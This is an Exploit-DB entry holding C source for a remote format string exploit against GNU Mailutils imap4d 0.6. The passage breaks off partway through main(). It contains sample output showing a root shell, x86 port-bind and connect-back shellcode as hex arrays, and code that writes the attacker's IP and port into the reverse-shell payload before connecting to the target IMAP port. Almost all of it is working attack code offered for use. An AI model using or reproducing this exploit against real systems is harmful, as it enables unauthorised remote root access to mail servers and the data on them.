Exploit-DB #1123
Description: GNU Mailutils imap4d 0.6 - Remote Format String
Type: remote
Platform: linux
Date: 2005-08-01
Author: CoKi

Exploit:
/* mu-imap4d_fsexp.c
 *
 * GNU Mailutils imap4d v0.6 remote format string exploit
 * by CoKi <coki@nosystem.com.ar>
 *
 * Original Reference:
 * http://www.idefense.com/application/poi/display?id=246&type=vulnerabilities
 *
 * coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp
 *
 *  GNU Mailutils imap4d v0.6 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  use: ./mu-imap4d_fsexp -h <target_host> [-p <target_port>]
 *       ./mu-imap4d_fsexp -h <target_host> -c <your_host> [-b <your_port>]
 *
 *                 -p      target imapd port (143 by default)
 *                 -c      your host/ip
 *                 -b      your port (45295 by default)
 *
 * coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp -h 10.0.0.1
 *
 *  GNU Mailutils imap4d v0.6 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  [*] verifying host             : 10.0.0.1
 *  [*] imapd port                 : 143
 *  [*] connecting...              : done!
 *
 *  [*] getting target info...
 *  [*] buffer address             : 0x08059810
 *  [*] shellcode address          : 0x080599a0
 *  [*] basic return address       : 0xbffffa28
 *
 *  [*] searching ret address...   : 0xbffff988
 *
 *  [!] you have a shell :)
 *
 * Linux firewall 2.4.31 #1 SMP Wed Jun 22 23:13:19 ART 2005 i586 unknown
 * uid=0(root) gid=12(mail) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 * Tested in Slackware Linux 9.0 / 10.0 / 10.1
 *
 * by CoKi <coki@nosystem.com.ar>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE      2048
#define ERROR           -1
#define TIMEOUT         3
#define PORTBIND	5074
#define CONNBACK	45295
#define IMAPD           143

void use(char *program);
int check(unsigned long addr);
int connect_timeout(int sfd, struct sockaddr *serv_addr,
	socklen_t addrlen, int timeout);
void exploit(char *host, unsigned int imapdport);
void shell(char *host, unsigned port);
void getinfo(char *host, unsigned int imapdport);
int chkshaddr(char *host, unsigned int imapdport, int i);

/*
 * s0t4ipv6@Shellcode.com.ar
 * x86 portbind a shell in port 5074
 * 92 bytes.
 */

char port_bind[] =
	"\x31\xc0\x50\x40\x89\xc3\x50\x40"
	"\x50\x89\xe1\xb0\x66\xcd\x80\x31"
	"\xd2\x52\x66\x68\x13\xd2\x43\x66"
	"\x53\x89\xe1\x6a\x10\x51\x50\x89"
	"\xe1\xb0\x66\xcd\x80\x40\x89\x44"
	"\x24\x04\x43\x43\xb0\x66\xcd\x80"
	"\x83\xc4\x0c\x52\x52\x43\xb0\x66"
	"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
	"\x80\x41\x80\xf9\x03\x75\xf6\x52"
	"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
	"\x62\x69\x89\xe3\x52\x53\x89\xe1"
	"\xb0\x0b\xcd\x80";

/*
 * BSD x86 shellcode by eSDee of Netric (www.netric.org)
 * 124 byte - connect back shellcode (port=0xb0ef)
 */

char conn_back[] =
	"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
	"\x06\x51\xb1\x01\x51\xb1\x02\x51"
	"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
	"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
	"\x68\xff\xff\xff\xff\x66\x68\xff"
	"\xff\xb1\x02\x66\x51\x89\xe7\xb3"
	"\x10\x53\x57\x52\x89\xe1\xb3\x03"
	"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
	"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
	"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
	"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
	"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
	"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
	"\x2f\x62\x69\x89\xe3\x50\x53\x89"
	"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
	"\x01\xcd\x80";

int bretaddr=0, shaddr=0;
unsigned int pos=0, cback=0, shsize;
unsigned short rport=CONNBACK;
in_addr_t rhost=0;

int main(int argc, char *argv[]) { 
	char opt, *host=NULL, *rh=NULL;
	int sockfd;
	unsigned int imapdport=IMAPD;
	struct hostent *he;
	struct sockaddr_in dest_dir;

	printf("\n GNU Mailutils imap4d v0.6 remote format string exploit\n");
	printf(" by CoKi <coki@nosystem.com.ar>\n\n");

	while((opt = getopt(argc,argv,"h:p:c:b:")) != EOF) {
		switch (opt) {
			case 'h':
				host = optarg;
				break;
			case 'p':
				imapdport = atoi(optarg);
				break;
			case 'c':
				rhost = inet_addr(optarg);
				rh = optarg;
				cback++;
				break;
			case 'b':
				rport = atoi(optarg);
				break;
			default:
				use(argv[0]);
				break;
		}
	}

	if(host == NULL) use(argv[0]);

	if(cback) {
		printf(" [*] verifying your host\t:");
		fflush(stdout);

		if((he=gethostbyname(rh)) == NULL) {
			herror(" gethostbyname()");
			printf("\n");
			exit(1);
		}

		shsize = strlen(conn_back);

		conn_back[33]=(rhost & 0x000000ff);
		conn_back[34]=(rhost & 0x0000ff00) >> 8;
		conn_back[35]=(rhost & 0x00ff0000) >> 16;
		conn_back[36]=(rhost & 0xff000000) >> 24;

		conn_back[39]=(rport & 0xff00) >> 8;
		conn_back[40]=(rport & 0x00ff);

		printf(" %s\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
		printf(" [*] connect back port\t\t: %u\n", rport);
	}

	if(strlen(conn_back) < shsize) {
		printf("\n [!] failed! your host or port contain null-bytes\n\n");
		exit(1);
	}

	printf(" [*] verifying target host\t:");

	if((he=gethostbyname(host)) == NULL) {
		herror(" gethostbyname()");
		printf("\n");
		exit(1);
        }

	printf(" %s\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
	printf(" [*] target imapd port\t\t: %u\n\n", imapdport);

	printf(" [*] connecting...\t\t:");
	fflush(stdout);

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
		perror(" socket()");
		printf("\n");
		exit(1);
	}

	dest_dir.sin_family = AF_INET;
	dest_dir.sin_port = htons(imapdport);
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(dest_dir.sin_zero), 8);

	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
		sizeof(struct sockaddr), TIMEOUT) == ERROR) {

		printf(" closed\n\n");
		exit(1);
        }

	printf(" done!